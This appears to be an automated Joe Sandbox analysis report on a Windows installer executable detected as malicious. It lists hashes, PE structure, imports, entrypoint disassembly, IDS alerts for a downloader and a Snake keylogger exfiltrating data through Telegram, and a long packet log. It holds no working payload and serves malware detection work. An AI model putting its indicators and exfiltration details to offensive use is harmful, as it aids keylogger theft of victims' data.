Joe Sandbox View:	Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse Filename: V7OHj6ISEo.exe, Detection: malicious, Browse Filename: 2CQ2zMn0hb.exe, Detection: malicious, Browse Filename: 6mGpn6kupm.exe, Detection: malicious, Browse Filename: v4nrZtP7K2.exe, Detection: malicious, Browse Filename: xXUnP7uCBJ.exe, Detection: malicious, Browse Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.95879193562562
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	9Yn5tjyOgT.exe
File size:	1'008'728 bytes
MD5:	1e1fb3e8d33ab075679a645f298d4715
SHA1:	7dfe4d33d1d8e61cf586a71d1aab1c02e2ab4cdf
SHA256:	927c3960a7d3c785ff7de3e89215dd9a895f27b2646011e34739201805b2b501
SHA512:	1509a1e9c3c4f49712a72c7a7d0276b16a98e1c3d6947322209a162639e7373259f1cecbba76e64aed1c3b20250afd0b80f78e3ed38e34115fad46d3ec4c3583
SSDEEP:	24576:9jwKCNIwjjJlEyOx7w15iTAGhnEpB/YKy5Tw8cKlDY/:V1CCwjllI7QadnEby5TkKlDY/
TLSH:	AF2523827A96DE33C93188B29323D572BEFFA81B5C3AEB139775361DAE707500528354
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F0D28D65653h
push ebx
call 00007F0D28D6891Dh
cmp eax, ebx
je 00007F0D28D65649h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F0D28D68897h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F0D28D6562Ch
push 0000000Ah
call 00007F0D28D688F0h
push 00000008h
call 00007F0D28D688E9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F0D28D688DDh
cmp eax, ebx
je 00007F0D28D65651h
push 0000001Eh
call eax
test eax, eax
je 00007F0D28D65649h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:40:10.368402+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49984	142.250.185.78	443	TCP
2025-01-10T22:40:21.452271+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49987	132.226.247.73	80	TCP
2025-01-10T22:40:29.437077+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49987	132.226.247.73	80	TCP
2025-01-10T22:40:30.099611+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49989	149.154.167.220	443	TCP
2025-01-10T22:40:30.359018+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49989	149.154.167.220	443	TCP
2025-01-10T22:40:31.358603+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49990	132.226.247.73	80	TCP
2025-01-10T22:40:31.946248+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49991	149.154.167.220	443	TCP
2025-01-10T22:40:32.242467+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49991	149.154.167.220	443	TCP
2025-01-10T22:40:33.014815+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49992	132.226.247.73	80	TCP
2025-01-10T22:40:33.604776+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49993	149.154.167.220	443	TCP
2025-01-10T22:40:33.909239+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49993	149.154.167.220	443	TCP
2025-01-10T22:40:35.639978+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49994	132.226.247.73	80	TCP
2025-01-10T22:40:36.204461+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49995	149.154.167.220	443	TCP
2025-01-10T22:40:36.421921+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49995	149.154.167.220	443	TCP
2025-01-10T22:40:38.712435+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49997	149.154.167.220	443	TCP
2025-01-10T22:40:39.076465+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49997	149.154.167.220	443	TCP
2025-01-10T22:40:41.188866+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	50000	149.154.167.220	443	TCP
2025-01-10T22:40:41.661508+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	50000	149.154.167.220	443	TCP
2025-01-10T22:40:48.901304+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	50003	149.154.167.220	443	TCP
2025-01-10T22:40:49.269816+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	50003	149.154.167.220	443	TCP
2025-01-10T22:40:57.772086+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	50006	149.154.167.220	443	TCP
2025-01-10T22:40:58.055062+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	50006	149.154.167.220	443	TCP
2025-01-10T22:41:04.896089+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	50008	149.154.167.220	443	TCP
2025-01-10T22:41:05.200346+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	50008	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:40:09.310283899 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:09.310373068 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:09.310487986 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:09.322022915 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:09.322061062 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:09.987219095 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:09.987462044 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:09.987972975 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:09.988032103 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.048353910 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.048446894 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.048953056 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.049031973 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.052791119 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.095339060 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.368393898 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.368558884 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.368632078 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.368707895 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.369775057 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.369817972 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.369856119 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.369856119 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.376374006 CET	49984	443	192.168.2.6	142.250.185.78
Jan 10, 2025 22:40:10.376406908 CET	443	49984	142.250.185.78	192.168.2.6
Jan 10, 2025 22:40:10.414238930 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:10.414283991 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:10.414607048 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:10.415175915 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:10.415194988 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:11.069941044 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:11.070022106 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:11.074023008 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:11.074032068 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:11.074359894 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:11.074414968 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:11.074779987 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:11.115338087 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.567105055 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.567200899 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.573184013 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.573262930 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.585669994 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.585743904 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.585760117 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.585802078 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.591651917 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.591703892 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.654623032 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.654683113 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.654714108 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.654742002 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.654758930 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.654781103 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.656418085 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.656483889 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.656506062 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.656553030 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.662775040 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.662949085 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.662957907 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.663008928 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.669104099 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.669161081 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.669169903 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.669217110 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.675347090 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.675419092 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.675430059 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.675477982 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.681787014 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.681860924 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.681869984 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.681925058 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.687850952 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.687908888 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.687948942 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.687997103 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.694236994 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.694307089 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.694314957 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.694371939 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.700054884 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.700124025 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.700130939 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.700184107 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.705810070 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.705873013 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.705881119 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.705930948 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.711608887 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.711693048 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.711699963 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.711752892 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.717427015 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.717502117 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.721995115 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.722183943 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.723237991 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.723299980 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742208004 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742269039 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742290020 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742296934 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742333889 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742397070 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742400885 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742443085 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742526054 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742592096 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.742685080 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.742733955 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.743969917 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.744020939 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.748534918 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.748588085 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.748593092 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.748598099 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.748629093 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.748663902 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.753916979 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.754017115 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.754024029 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.754064083 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.759524107 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.759593964 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.759599924 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.759654999 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.764318943 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.764445066 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.764451027 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.764527082 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.769426107 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.769495010 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.769503117 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.769556046 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.774040937 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.774107933 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.774113894 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.774168968 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.778675079 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.778731108 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.778736115 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.778775930 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.783337116 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.783416033 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.783423901 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.783477068 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.788009882 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.788244963 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.788253069 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.788302898 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.792659044 CET	443	49985	142.250.185.129	192.168.2.6
